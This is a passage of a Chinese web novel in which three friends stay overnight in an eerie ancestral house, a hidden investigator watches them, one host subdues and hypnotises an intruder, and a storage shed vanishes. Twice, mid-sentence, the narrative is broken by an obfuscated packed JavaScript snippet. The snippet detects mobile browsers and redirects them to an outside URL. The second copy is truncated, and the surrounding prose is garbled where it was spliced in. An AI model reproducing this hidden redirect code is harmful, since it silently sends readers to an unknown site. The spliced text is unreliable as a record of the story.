唐镜松了口气,拿过菜单,随意点了两个菜,郑落落按铃叫来服务员,把菜单递给她,让先上菜。 “齐修说他很快就回来,让我们不要等他,点好菜先吃。”郑落落说道。 “齐家老宅那么古怪,下周五晚上住那里,你会不会害怕?”唐镜问道。 “害怕?这不是有你和齐修吗?让我一个人待那自然是害怕的,有你们两个在旁边,自然是不怕了。”郑落落没心没肺的说。 好吧,有时候没心没肺其实是件挺幸福的事情。 点的菜还没上齐,齐修就回来了。 他坐下来以后,随手从衣服口袋里掏出包纸巾,抽了一张出来,慢条斯理的擦了擦脸,又擦了擦双手。 纸巾非常精美,洁白的纸巾边角上,印着浅银色的花纹,这种材质和花纹的手帕,唐镜只在市区最好的商场超市里见过,那超市里卖的都是进口高档商品。 其实餐桌上就放着“山里人家”提供的餐巾纸,可是齐修用的却是自己带的纸巾。 今天算是唐镜见齐修的第二面,从这个细节上,她意识到,齐修表面看似随和洒脱,但是实质也许并非如此。 生活中那些不经意的小细节,往往才能真正暴露一个人的本性。 “齐大公子,登山装备联系的怎么样了?不会影响我们下周五的计划吧?我都有些迫不及待了。”郑落落带点调侃的问道。 “最迟下周三,装备就会到位,我会安排人,把装备先送到老宅那里。” 郑落落两眼放光,摩拳擦掌,充满期待。 唐镜则有些心神不定,想到伊峰秋那天也会暗中到老宅,不知道他会做些什么。 很快,点的菜都上齐了,其中有一道上汤螺肉,用的是湖里特产的螺,足有鸽蛋大小,螺肉嫩滑,又浸润了鲜美的汤汁,放到嘴里轻轻一咬,满口生津,险些要把舌头都吃下去。 小炒羊肉,土鸡蛋炒地衣也是这家的招牌菜,据说用的食材都是自家产的,吃起来确实比市区饭店里的要鲜嫩许多。 唐镜和郑落落吃的不亦乐乎,直呼不虚此行,吃到一半的时候,郑落落突然一拍脑袋:“哎呦,刚才怎么忘了拍照了,应该发朋友圈让那些吃货们流点口水。” “你负责拍照,我负责吃。”唐镜夹起最后一颗螺肉。 “我怕我照片还没拍完,你就先吃光了。”郑落落笑嘻嘻的举起筷子来抢螺肉。 齐修吃的比较少,时不时掏出手机来看一眼,虽然表面上看不出来有什么异样,可唐镜总觉得,他回来以后,似乎有点不一样,好像多了点心事似的。 吃完晚饭,三人就直接开车回市区了。 齐修先把唐镜送回家,再开车送郑落落回去。 这一天折腾下来,唐镜也累的够呛,直接洗洗睡了,等到第二天一早醒来,才看见手机上的微信,是伊峰秋昨晚发来的,只是让她好好休息。 她随手回了微信,就匆匆起床拾掇一下,赶去馆里上班了。 …… 33. 第 33 章 时间过的很快,转眼就到了周五,齐修接上唐镜和郑落落,直奔桐留镇,存好车,找了家饭店吃了晚饭,再走去老宅。 等走进齐修那个小院子的时候,天已经完全黑下来了。 客厅里面放着一个大包,里面全是登山用的装备,除了给唐镜和郑落落准备的登山鞋,居然还有绳索、铁钎和铁镐之类的东西。 郑落落有些夸张的说:“看着这些东西,我感觉我们明天要爬的不是桐留的一座小山,而是珠穆拉玛峰。” 齐修微微一笑:“你俩休息休息,去洗个澡早点睡,我去前面屋子里转转,很快就回来。” 说完以后,齐修推开门,往院子外面走去。 “那些房子白天进去都瘆人,晚上去转悠,这口味,还真不是一般的重啊。”郑落落喃喃说道。 因为有柴油发电机,房间里面灯光明亮,可是从窗户看出去,前面那几进院子都黑乎乎的,像是一只一只的怪兽,张大了嘴蹲在那里,随时准备吞噬猎物。 唐镜看着齐修的背影消失在院门外,心里总觉得有些不安。 伊峰秋是不是已经到了齐家老宅?他躲在什么地方? 而齐修,这个时候出去,是不是发现了什么? 她越想越觉得心里不安,忍不住掏出手机,给伊峰秋发了条微信“你在哪?齐修好像发现了什么,他去前面老屋了”。 郑落落一边从行李袋里拿洗漱用品,一边说:“小镜,怎么感觉你心神不宁的,出什么事了吗?” “这老宅子这么古怪,住在这里,难道还能舒舒坦坦不成?不安心才是正常的。”唐镜盯着手机屏幕,心不在焉的说。 “小镜,我上次回去以后,仔细想了想,觉得我们看到的,山顶上的那两个女人,像是做梦一样不真实。”郑落落甩了甩头发,大波浪在灯光下泛着巧克力色的光泽。 “我有种感觉,那两个女人,和齐卓宇迷上的那个隐形女子,很有可能有关系。”唐镜说道。 “咦,你为什么会这么想?那架屏风很早就在齐家老宅了,怎么会和隐形女子扯上关系?”郑落落好奇道。 “我们先不管那隐形女子是人是鬼,是妖是怪,我很好奇一件事情,她为什么会偏偏出现在齐家老宅,而不是别的地方?” “你是说,那隐形女子出现在齐家老宅,不是误打误撞,而是选择了齐家老宅?”郑落落眼睛一亮。 “对,也许齐家老宅有什么东西,吸引着隐形女子,所以她才出现在这里,结果遇见了齐卓宇。” “难道是这座宅子下的古墓?”郑落落喃喃自语。 “我还是想不通,她既然有能力让别人看不到她,为什么她要让齐卓宇看见她?只是为了让齐卓宇迷上她?”唐镜思索道。 “成就一段旷世恋情?这是三流狗血小说的桥段。”郑落落笑道。 “或许,她需要齐卓宇帮助她?会不会她出现的时候,正处在一种非常危险的境地,她和齐卓宇在一起,可以摆脱这种危险境地?” “听起来,好像还挺有道理的。”郑落落点点头,“吸引她来到老宅的,难道真是老宅下面的那座古墓不成?” “按照齐修的说法,那架屏风有点像时空之门,可以通过意念让人的精神进入异时空,或者,也可以通过屏风,进入到古墓里?”唐镜又开始天马行空,“说不定,那位隐形女子,来到这里,是因为屏风的缘故?” 郑落落来了精神:“小镜,不如我们再去看看那架屏风吧,也许能发现点什么。” 唐镜白了她一眼:“拜托,这么晚了,我才不要去那么阴森森的地方,赶紧去洗澡睡觉,等从山顶下来,再去看屏风,反正又跑不了。” “好吧好吧,我先去洗了。”郑落落看了一眼窗外,见那些黑乎乎的老宅子,也有些发毛,也就不提去看屏风的事情了。 郑落落进了卫生间,而伊峰秋还没有回我微信,唐镜心里越发的不安起来,忍不住推门走到院子里去。 她站在院子里,望着前方黑黝黝的房子,心想伊峰秋应该就在其中一间房子里,齐修又去了什么地方? 夜空上有几颗星星闪烁着微弱的光芒,深秋的夜晚,连星星都给人一种萧索的感觉,风吹过,凉意开始往身体里渗去。 就在唐镜出神的时候,忽然感觉身后有人。 没有脚步声,只是听到极其轻微的呼吸声,如果不是因为她长期习武,修习武术,五感比较敏锐,也不会察觉到这么轻微的呼吸声。 不会是郑落落,第一她正在洗澡,第二她还做不到走路无声。 唐镜下意识的一个旋身,朝侧面跃出,同时右腿凌空横扫过去。 旋身扫腿的瞬间,身后劲风骤起,来人避过她的右腿,已经到了她身后。 唐镜腰往后一弯,右脚硬生生在空中转了个方向,往头顶倒踢过去。 肩膀一紧,那人双手已经抓住她的肩膀,往后一带,唐镜的背直接撞进了他的怀抱里。 鼻端闻到熟悉的气息,唐镜把喝问声咽了下去,侧过头,正对上伊峰秋的视线。 他脸上还是惯有的阴郁和严肃,不过眼中却含了笑意,笑意中又有点挪揄的意味。 从他掌心传来的热力,透过衣服,渗到肩膀皮肤里。 而她的后背抵着他的胸膛,能清晰的感觉到他紧致的肌肉中,蕴含的那种惊人的爆发力。 被这样一种强烈的男子气息包围着,唐镜的心跳莫名加快,脸也开始发热,正想着这个姿势实在太暧昧,还是离远点。 她还没动,伊峰秋倒先动了,揽住她的腰,进了院子角落里的小房子。 这是个和正屋分隔开来,专门用来堆放杂物的房子,只在极高处开了个小窗户,借着外面的星光,可以看到房间里面放着扫帚、水壶等洒扫工具,还堆着些长长短短的木板,几个纸箱。 靠近正门的地方,铺着一块木板,上面放着一个双肩包。 伊峰秋拉唐镜坐在双肩包上,轻轻关好房门。 唐镜这才发现,门上有一个才钻出来的小孔,从小孔看出去,正好可以看见整个院子。 她真是做梦都没想到,伊峰秋竟然藏在这里。 不过转念一想,整个齐家老宅,还有什么地方比这里更合适呢?对于齐修来说,最容易忽略的恰恰就是这个在他眼皮底下的地方。 伊峰秋坐在旁边木板上,唐镜坐在双肩包上,这样一来,俩人几乎是肩并肩,头挨头。 “你刚才去哪里了?”唐镜转头凑到他耳朵边,压低声音问道。 刚她在院子里所站的位置,他如果是从这放杂物的房子里出来,必然逃不过她的视线。 所以刚才他应该是从外面翻墙进来的。 “齐修出去以后,我就跟着他出去了。”伊峰秋凑到唐镜耳边,也压低了声音说道。 “他去了哪里?”唐镜镇定下心神,继续问道。 “去了那间放屏风的屋子。” “有什么不对劲吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234661|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我没有跟他进去,不想打草惊蛇。” “你有没有去正门那个影壁?白天我看到影壁上只画着个黑猫的图案,根本没有大洞,也没有那只黑猫。”唐镜说道。 “没来得及去看,我直接绕到宅子后面,在你们回来之前,先把这里安置好。”伊峰秋指了指正门上的小孔。 “今晚你打算一直待在这里?” 伊峰秋并没有回答,而是凑到门上的小孔看了看:“你不能在这里待太久,齐修应该快回来了,我们微信联系,记住,不管外面有什么动静,都不要离开屋子。” …… 唐镜离开堆杂物的小屋,并没有继续在院子里逗留,而是直接推门进屋,正看见郑落落边用浴巾擦着湿漉漉的头发边走出卫生间。 她没穿外套,只穿着里面的长袖T恤和运动长裤,勾勒出她姣好的曲线。 “咦,你出去了?”她随口问道。 “就在院子里站了会。”唐镜应了一句,“你先去卧室休息,我去洗澡。” 洗澡前,唐镜掏出伊峰秋给的那块手帕,裹住手腕上的镯子。水珠从白底黑格的手帕上滑落,手帕表面隐隐泛着光泽。 她确信,这绝对不是一块普通的手帕。 等洗完澡出来的时候,齐修已经坐在客厅的沙发里了,微笑道:“早点休息吧,明天要早起。” 虽然他看上去气定神闲,可是唐镜感觉到他的气息略微有些乱,像是刚刚进行过什么剧烈的运动。 她装作开玩笑的样子说道:“我和落落的安全就交给你了,今晚你在客厅里,可要给我们守好夜,有你坐镇,想必是诸邪辟易。” “这是齐家的老宅,我是齐家的子孙,你们是我请来的客人,你们只需要安心待在这房间里就好。”齐修含笑说道,语气里半是认真,半带着点玩笑意味。 唐镜心里一动,齐修话里的那句“安心待在这房间里”,是在暗示什么吗? “喔,我们只有安心待在这房间里,你才保证我们的安全啊,看来,你虽然是齐家的子孙,在这老宅里,也只能罩住这块地方喽?”她依旧用开玩笑的语气试探着。 “你该不会嫌弃这个房间太简陋吧?”齐修笑的越发温柔,语气也越发像开玩笑。 “比起齐卓宇那的房子来说,确实有点简陋。”唐镜故作一本正经的说,“你可以考虑把那座院子改造一下,通上水电,装上网络,我和郑落落保证赖在这里不走了。” “好主意!”齐修拊掌一笑。 她边说边走进卧室,回身朝齐修道了声晚安,关上门,随手反锁住门。 进屋以后,她没有上床,而是走到窗户边上,把窗帘掀起一条缝,往外望去。从这个角度,只能看到伊峰秋藏身的那个小屋的一角。 “喂,你看什么呢,院子空荡荡的,有什么好看的?”郑落落躺在床上玩着手机,懒洋洋的问道。 “看看有没有什么妖魔鬼怪冒出来啊。”唐镜开玩笑道。 “拜托,能不能别说这种话,你还想不想让我睡觉了?”郑落落埋怨了几句。 外面客厅里响起了齐修的脚步声,随后是大门被推开的声音,唐镜从窗帘缝隙里,看到齐修在院子里慢慢走动,像是在散步,可看了一会后,发现不对劲。 他是沿着一个固定的轨迹在走,她盯着他的脚步,脑海里面描绘着他走过的路线,图案渐渐成形、清晰,是一个八卦图形! 最后,齐修面对着那间堆杂物的小屋,停下了脚步。 34. 第 34 章 看到齐修对着小屋站定,唐镜的心一下悬了起来,不由自主屏住了呼吸。 伊峰秋被发现了吗? 齐修凝视着小屋,并没有进一步的动作,只是安静地站在那里。 唐镜脑海里瞬间浮现出无数念头,如果齐修发现了伊峰秋,该怎么办?伊峰秋会向齐修表明身份吗? 当齐修知道自己成为怀疑对象后,会不会在这荒僻的老宅里做出什么不可预测的事情来? 虽然,唐镜并不认为齐修能把伊峰秋怎么样,但这里毕竟是齐家祖宅,又隐藏着那么多不可思议的秘密,不怕一万,就怕万一啊。 “有朋自远方来,不亦乐乎。”齐修慢悠悠说了一句话。 院子里很安静,只有风声。 小屋那里没有任何动静。 既然被齐修发现了,那么伊峰秋接下来会采取什么行动呢?隐隐约约的,唐镜总觉得有些不对劲,以伊峰秋的手段,怎么这么容易就被齐修发现了呢? 齐修话说完以后,过了好一会,也没什么动静,他轻轻笑了一下,摇摇头:“真是无趣。” 他一边说,一边往小屋那里走去,步子还是不快不慢,双手背在身后,仿若闲庭信步。 很快,从唐镜的角度就看不到齐修了,不过看他走的方向,也知道他是到了小屋门前,她不假思索,快步向卧室门口走去。 郑落落此时也发现有些不对劲,坐在床上瞪大眼睛看着唐镜。 唐镜推门前说:“待在房间里别出去,如果你想知道事情的来龙去脉的话。” 本来郑落落还准备掀被子下床,但是听到最后一句话,还是忍住了,只喃喃说了句:“那我在窗边看看总行吧。” “只要不出这个屋子,随便你。”唐镜推门而出,反手关上门。 她到客厅以后,并没有去开正门,而是快步走到窗户边,从这里的窗户可以看到整个院子,包括那间堆杂物的小屋。 窗户上依然挂着厚厚的窗帘,她拉开窗帘一角,正看见齐修走到小屋门前,伸手欲推门的动作。 他的手还没碰到门,小屋的门唰的一下打开了。 一道黑影从小屋里蹿了出来,一拳朝齐修面门打过去,齐修身子没动,头往旁边一侧,避开对方的拳头,同时提脚,脚尖铲向对方膝盖。 他的动作极快,也是因为唐镜武术出身,眼力好,才能看清楚。 “嘿” 黑影闷哼一声,小腿往上一抬,用脚底接了齐修的一铲,同时身体往后退了一步。 黑影和齐修两个人缠斗在一起,拳来脚往,招招都是狠手。 在黑影蹿出来的一瞬间,唐镜就觉得有些异样,此时听到他的声音,看到他的身形,顿时确定,他不是伊峰秋! 他是谁?怎么会在小屋里? 不过,齐修的身手竟然这么好,也是出乎唐镜的意料,他看上去秀逸温和,但是出手招招狠辣,俱是一招致命,同归于尽的打法。 很显然,那蹿出来的人,虽然也精于搏击支书,可还不是齐修的对手,十几个回合之后,就被齐修一掌击在太阳穴上,晕倒在地。 齐修看都没看晕在地上的黑衣人,自顾自走进小屋,很快又从小屋里出来,很显然,他在小屋里没什么发现。 唐镜一阵茫然,伊峰秋哪里去了,他到底在玩什么花样? 齐修站在黑衣人身边,脚尖在他的太阳穴上轻轻一踢,黑衣人发出一声呻吟,醒了过来,刚想从地上跃起,却被齐修一脚踩在胸口,无法动弹。 “你是什么人?来这里做什么?”齐修的声音一如既往的温和,可是黑衣人的身体却抖得像筛糠,不像是害怕,应该是齐修脚上的力道,让他如受酷刑。 黑衣人穿着一身黑色紧身作战服,剃着小平头,长相虽然普通,但是神情中却带着彪悍之意,从他刚才的身手来看,应该是受过很专业的搏击训练。 他并没有回答齐修的问题,虽然身体在痛苦的痉挛,可目光中却透着股子狠意,一副老子就是不说,你有种就弄死老子的表情。 齐修扬了扬眉毛,微微一笑:“你不说,以为我就拿你没办法?” 他说完以后,踩在黑衣人胸口的脚一抬,脚尖快如闪电,在他的头侧头顶点了几下。 黑衣人的头晃了晃,像是要昏迷过去,却还保持着一些神智,将昏未昏,将晕未晕。 齐修俯身下去,凝视着黑衣人的眼睛:“看着我。” 虽然隔得有点远,但是唐镜依然看到黑衣人的表情从凶悍变成了茫然,一双眼睛直勾勾的看着齐修。 “你是谁?”齐修的声音变得低柔。 唐镜突然意识到,齐修正在对黑衣人用催眠术!她怎么没想到,他既然是个精通冥想的高手,那么掌握催眠术,自然很容易。 黑衣人的眼中闪过挣扎之意,有些抗拒。 唐镜有些惊讶,这黑衣人到底是什么来头,要知道,只有经过特殊训练的人,才能在被催眠的时候,展现出这种挣扎和抗拒。 比如像一些特殊职业,都会接受反催眠训练。 如果这个黑衣人接受过这方面的训练,那就证明,他的背景并不简单。 很显然,齐修也想到了这点,他的声音愈发的柔和:“你当然知道你是谁,现在告诉我,你是谁?” “我、我是铁蝎。”黑衣人的目光越来越呆滞。 铁蝎? 这应该是黑衣人的代号,唐镜看见齐修的眉毛扬了扬,似乎想到了什么。 “谁派你来的?” “老大。” “你来这里做什么?” “跟、跟踪一个人。” “跟踪谁?” “我、我、我不知道……”黑衣人的脸上露出痛苦的表情,好像在拼命想什么,却又想不起来的样子。 “嗯?”齐修的语气多了点疑惑,他俯低身体,凝视着黑衣人的眼睛,“是跟踪我吗?” “我、我记不起来了……”黑衣人的表情越来越痛苦。 唐镜的脑中突然一亮,想起伊峰秋曾经说过,有人在跟踪他的事情,这个黑衣人会不会就是跟踪伊峰秋的人? 很有可能,伊峰秋故意把这个黑衣人引到这里来,让齐修和黑衣人两个人产生冲突,他则可以借此试探齐修的深浅。 也就是说,齐修之所以会发现小屋里有人,也是在伊峰秋的算计之中。 好一个阴险腹黑的伊大队长! 不过,她好喜欢! 唐镜这么一走神,就没听到齐修和黑衣人接下来的几句对话,等回过神来,就看到齐修一脚踢在黑衣人的太阳穴上,黑衣人头一歪,晕了过去。 她顿时有些懊恼,刚才为什么会走神,竟然没听清黑衣人说了什么。 但是从直觉上,她觉得齐修应该是问清楚了黑衣人的来历。 就在这时候,齐修朝唐镜这个方向瞥了一眼,两人视线对上,唐镜索性大大方方推门走出去。 齐修笑笑,唐镜也若无其事的回以一笑,看着昏迷不醒的黑衣人:“他是谁?怎么会跑到这里来?难道是在跟踪咱们?” 齐修:“感觉他不像是跟踪咱们。” 唐镜心里一惊,如果她的推断是正确的,这黑衣人是跟踪伊峰秋而来,那么齐修的感觉也忒敏锐了吧? 她装作好奇问道:“他既然不是跟踪咱们而来,为什么会出现在这里?难道是小偷,想来老宅偷东西?” 齐修摇摇头:“第一,他肯定不是小偷,否则,他完全可以选择老宅没人的时候,偷溜进来,何必挑在老宅有人的时候进来。” 唐镜点头:“有道理。” 齐修继续说道:“第二,如果黑衣人是冲着我来,那就更不应该选择在这里出现,毕竟我更熟悉这里,更容易发现他,而在Y市,他的机会更好。” 不得不说,齐修的判断非常准确。 唐镜心中更生几分警惕之意,眼角余光往小屋里面扫了一眼,里面空空如也,甚至都看不出有其他人存在过的痕迹。 “你问出他是什么人了吗?”她指了指黑衣人。 “没有,有人对他进行了催眠,抹去了他的一些记忆,如果我强行刺激他的记忆,他很有可能发疯。” “那怎么办?要不要报警?” “不用,”齐修边说边走进小屋,拿了一截绳子出来,把黑衣人手脚捆住,又在黑衣人嘴里塞了块破布,随后把他拖进小屋里,关上屋门。 “就这样关着他?” “先关在这里,等我们从山顶回来后,就放了他。”齐修拿出纸巾,慢慢擦拭着手上的灰尘,漫不经心的说。 “就这样放了他?”唐镜有些惊讶。 “不放了他,难道还要杀了他不成,我可是个遵纪守法的好市民。”齐修笑笑,虽然语气中带着丝开玩笑的意味。 “放长线,钓大鱼?”唐镜也用一种开玩笑的语气说道。 齐修摇摇头:“我可没功夫理会这些,随他去吧,光这老宅里的事情,就够我忙乎的。” 既然如此,唐镜也就岔开话题:“对了,齐修,你的身手很不错啊,真没看不出来你还有这么厉害的功夫,文武双全啊!” “男人嘛,若是不学点防身之术,到时候连自己老婆都保护不了,那也太没用了吧。”齐修微微一笑,“你进屋休息吧,有我在,你们两个安心睡觉就好。” “你不休息?”她看见齐修往院门走去,忍不住问道。 “我去周围看看,这黑衣人虽然说他是一个人,可是我还是有些不放心。”齐修摆摆手,推开院门走出去,反手关上门。 唐镜边往房里走,边打量着院子四周,还没进门,揣在衣兜里的手机震动了一下,她拿出来一看,是伊峰秋发来的微信“好戏看完,早点休息。” 这么说来,刚才院子里发生的事情,都被他看在眼里。 他到底躲在哪里? 就连齐修都没发现他的存在。 她回了条微信给他“齐修察觉黑衣人不是针对他来的。” 伊峰秋很快给我回了信息“他如果连这点都看不出来,那就不好玩了。” 唐镜无语,回了句“你们慢慢玩吧。” 伊峰秋没有再回信息,她把手机放回兜里,推门进屋,走进卧室。 郑落落靠在窗户边上,表情极其夸张:“小镜,真没想到,齐修看上去温文尔雅,下起狠手来,还真不含糊。” “你跟他不是很熟吗,难道你今天才发现他身手很好?”唐镜脱了外套,钻进被窝里,用最舒服的姿势躺下来。 “我只知道他禅修很厉害,没想到还身怀绝技,哎,你说像他这样的男人,长得帅,情商高,还文武双全,女人遇到他,还怎么招架啊?” 唐镜笑起来:“他这么好,我也没见你被他迷住啊?” 郑落落做了个夸张的表情:“那是因为他不是我的菜!我喜欢的男人,要高大威猛,要有点点粗鲁,一挥手,就能把我扔在肩膀上……” 唐镜脑海里描绘了一下她说的画面,发现齐修确实和这个画风完全不搭,顿时忍不住大笑起来:“落落,你口味好重……” 郑落落走到床边,伸手挠她痒痒:“哈哈,老实交代,你是不是对伊峰秋动心了?” 唐镜一边躲她伸过来的手,一边嘻嘻哈哈岔开话题。 两个人打闹了一阵,郑落落这才上床,和唐镜并肩躺着,看着天花板,她的表情渐渐变得沉静,语气也变得认真:“小境,我觉得你有事情瞒着我……” 郑落落向来没心没肺,说话也是习惯性的嘻嘻哈哈,没半分正经。唐镜认识她这么多年,知道她一旦用这么认真的语气说话,那就表明,她一定会打破砂锅问到底,不达目的不罢休。 不过,唐镜本来就准备把事情的来龙去脉告诉她,虽然她答应过伊峰秋要保密,可是现在事情的发展,越来越表明,落落并不是局外人,而是整个谜团当中的重要一环。 所以,有些事情,也该让她知道。 唐镜开始从叶菲的失踪讲起,垫上留下的文字,自己脖子上挂着的玉牌,水晶头骨,叶菲电脑里保存的照片这一系列事情,都一一告诉了落落。 当然,她也说了伊峰秋的身份,不过,并没有提她和伊峰秋夜探齐家老宅的事情,一方面是觉得这件事情和她关系不大,另外伊峰秋的正一门出身,是他的个人隐私,自然不能随便说出去。 郑落落听完之后,先是发了会呆,随后一双大眼睛直勾勾瞪着唐镜:“好你个唐镜,居然瞒了我这么久,说吧,怎么惩罚你?” 她这么凶巴巴的一说话,唐镜心里顿时松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他煞费苦心,找到你和我,又绕了这么大一圈,才把我们带到那山峰顶上去,如果他只是因为好奇心,完全不用绕这种弯子。”唐镜再一次强调。 “等明天到后山顶上,找个机会直接问齐修,如果他还是顾左右而言它,大不了,我们不和他玩了。”郑落落说道。 唐镜苦笑一下:“不玩了?你不想知道那座山峰顶上的两个女人,是什么人吗?你不想知道你那古怪肥皂泡的梦吗?齐修他早就料定,一旦让我们看到那两个女人,我们就不可能放弃了。” “他还真是了解咱俩啊。”郑落落也忍不住苦笑了一下,“你知道吗,我现在只要一个人静下来,就会忍不住想到那个和我一模一样的女人,为什么我们的掌纹和血液是进入的钥匙。” 其实,唐镜又何尝不是如此呢?她不断用各种事情转移自己的注意力,就是因为只要一旦停下来,那个女人的脸就会出现在脑海里。 我是谁? 我从哪里来? 我要到哪里去? 据说,这是人生的终极问题,每个人,都会在生命中的某个阶段,被这三个问题困扰。 那个和她长的一模一样的女人的出现,让她和这三个问题狭路相逢,她怎能,怎会放弃这个机会? “我觉得,现在我们最好的选择,就是闭上眼睛睡觉,为明天养精蓄锐。”唐镜拿出手机看了一眼,已经十点多了。 伊峰秋一直没来消息,齐修也没回来。 “当我们被事情困扰的时候,最好的解决方法,就是先睡一觉,如果还解决不了,那就再睡一觉。”郑落落伸手关上灯,“睡觉、睡觉!” 房间陷入到黑暗中。 唐镜听到郑落落的鼻息慢慢变得细微,显然已经进入梦乡了。 唐镜闭上眼睛,放慢呼吸,黑暗和安静的环境中,她很快进入了一种空灵的状态中,意识像丝线般开始往外延伸。 这是一种比较特别的状态,在意识所及的范围内,她能“看到”这个范围内的事物,但是这种“看”,又和眼睛的看,是一种完全不一样的感觉。 举个不是特别恰当的例子,就好像在夜晚,你用红外线望远镜看东西,即使外面一片黑暗,但是借助红外线,也能看到物体,却又带着一种不真实感。 在蔓延的意识中,她“看到”: 一只老鼠沿着院子里的墙角跑过去。 一片落叶在风中打着旋,晃晃悠悠落在了屋顶上。 堆杂物的小屋里,黑衣人从昏迷中醒过来,正徒劳的挣扎着。 …… 她尝试着把意识往更远处的延伸,可是却无法突破院子的范围,院墙是一道坚固的屏障,挡住了我的意识。 可是,反过来,这小院的四面墙壁,也挡住了所有来自外界的探察。 难怪齐修会发现有人进了这院子。 他一定在院子里布置了什么手段,而且,伊峰秋显然也看出这院子里的布置,所以才会把黑衣人引到这里来。 尝试了几次,意识还是无法突破小院,唐镜把意识徐徐收回,注意力最后集中到呼吸上,慢慢从冥想状态醒过来。 她睁开眼睛,看着模模糊糊的天花板,听着郑落落平静的呼吸声,毫无半点睡意。 躺了一会,她突然升起一种冲动,想要穿上衣服,离开这小院子,到齐卓宇的那套房子里去看看,还想去看看那架屏风,还有影壁里的那只黑猫。 这院子虽然能挡住她的意识,可是,还挡不住她的身体。 她慢慢从被窝里坐起来,尽量不惊动郑落落,下到地上,伸手去拿放在一边的衣服。 就在这时候,手机屏幕亮了一下。 伊峰秋发了条微信“立刻睡觉,否则,我就不告诉你,我刚对齐修做过的事情。” 唐镜先是一怔,随即就看到手腕上的手镯,艾玛,怎么忘了把摄像头缠上手帕了?他居然在远程“监视”她的举动! 一定是她刚才拿衣服,带动着手镯动起来,然后就被他发现了。 不得不说,伊峰秋还是很了解唐镜的,一句话成功打消了她的念头。 她拿出手帕,把镯子上的摄像头包上,然后重新躺回被窝,闭眼睡觉! 可能是白天太累了,也可能是因为伊峰秋的那条微信让她放松下来了,唐镜很快就睡着了…… 35. 第 35 章 唐镜睁开眼睛的时候,窗帘缝隙里已经透出蒙蒙晨光。 旁边郑落落鼻息沉沉,显然睡得正香。 唐镜没有惊动她,悄无声息的掀起被子,赤着脚踩在地板上,套上衣服,走到窗户边,掀开窗帘往外看去。 灰蓝色的天空,挂着几颗星星,东方的天空,已经出现了一线鱼肚白。 齐修居然已经起来了,衣服穿的整整齐齐,站在院子中间,面对那间装着杂物的小房子,看他的样子,像是已经站了有一会了。 从唐镜的角度,只能看到他的侧脸,感觉他的神情有些奇怪,就好像那堆着杂物的小屋,突然开满了鲜花似的。 她站的地方,恰好看不到小屋。 看着齐修的样子,唐镜的好奇心顿时疯狂涌动,因为在她的印象里,齐修是一个非常从容的人,不管发生什么事情,神情都颇为淡定。 小屋那里,到底发生了什么事,竟然让他脸色都变了? 就在这时候,齐修似乎感觉到唐镜的注视,侧头看过来笑了笑,随即又朝她招了招手。 唐镜放下窗帘,放轻脚步,推门出去。 客厅里的沙发上,堆着一床毯子,从沙发和毯子的褶皱来看,齐修应该起床没多久,只是不知道他昨晚什么时候回来的。 唐镜推开门,刚迈出一步,整个人顿时就呆住了,愣在原地,呆呆看着小屋所在的地方,过了半晌,她掐了自己大腿一下。 好疼! 这证明,她并不是在做梦。 随后,她又举起手,拼命揉眼睛,再睁开眼睛看向小屋。 事实证明,她也没有眼花。 那间堆满杂物的小屋,是真的不见了! 院子的角落里,只有空荡荡的平地,就好像在那里,从来就没存在过那么一间,堆着杂物的小屋! 可是,唐镜知道那间小屋是存在的! 不仅仅是她第一次来这个院子的时候,就见过这个小屋,也不仅仅是昨天三个人再来的时候,看见过这个小屋。 更重要的是,就在昨天晚上,她和伊峰秋还在小屋里待了一会! 而且,那个被齐修抓住的黑衣人,也是她亲眼看见,被他绑住,放在了小屋里! 可是就在今天早上,小屋里堆着的杂物,绑着的黑衣人,以及整间小屋,都彻彻底底消失不见了! 就好像冥冥之中,突然伸出一只手,把这间杂物小屋以及小屋里的一切,统统给抹去了! 而且,显然,在这个抹去的过程中,不管是唐镜还是齐修,都没有察觉到! 这是什么样的力量? 唐镜终于明白,齐修脸上的表情为什么会那么奇怪了。 想到在自己睡着的时候,十米开外,一间房子,无声无息消失了! 细思极恐! 唐镜心想自己现在的脸色,肯定比齐修还要难看! 过了好一会,她才慢慢回过神来,一步一步走到齐修旁边,抬手指着那块空地,很艰难的问道:“房子,哪去了?” 齐修耸耸肩,脸上神情渐渐恢复正常:“我也不知道。” 这时候,唐镜的脑子里面突然升起一个古怪的念头,昨晚伊峰秋也在这老宅里,难道说,这房子的消失,和伊峰秋有关系? 如果不是齐修在旁边,她肯定迫不及待掏出手机,打电话问伊峰秋了。 按捺住心里的冲动,她朝那片空地走近几步,想看看能不能找到什么痕迹。 没有任何痕迹! 就好像那间杂物小屋从来没有存在过! 如果唐镜现在是第一次走进这个院子,肯定不会看出来,在这个角落里,曾经有过一间堆杂物的小屋。 脑海中电光一闪,叶菲在武术教室里,也是这样消失了,没有留下任何痕迹! 她想起伊峰秋曾经说过的话,菲姐那天来武术馆,是为了找她,结果见到她之后,就凭空消失了! 而这次,这间小屋连同那个黑衣人的消失,是不是也是因为她的缘故? 汗珠从唐镜额头上滚落下来。 为什么,为什么偏偏让她遇到这些事情? 突然,一只手伸过来,握住了唐镜的手。 她像被烫到一样,猛的跳起来,用力想要甩开这只手。 “别怕,别怕……” 齐修温和的声音响起,他右手用力握住唐镜的手,另外一只手则抚着她的肩膀,轻轻拥着她。 他身上散发着清雅的香味,有点像莲花和薄荷混杂的味道。 他的手指修长,皮肤非常细腻,掌心并不热,反而有一种清凉的感觉。 可是,唐镜突然想起了伊峰秋的手,带着薄茧的指肚,有些粗糙,掌心永远干燥温暖,被他握着,会有一种莫名的安全感。 “我、我没事。” 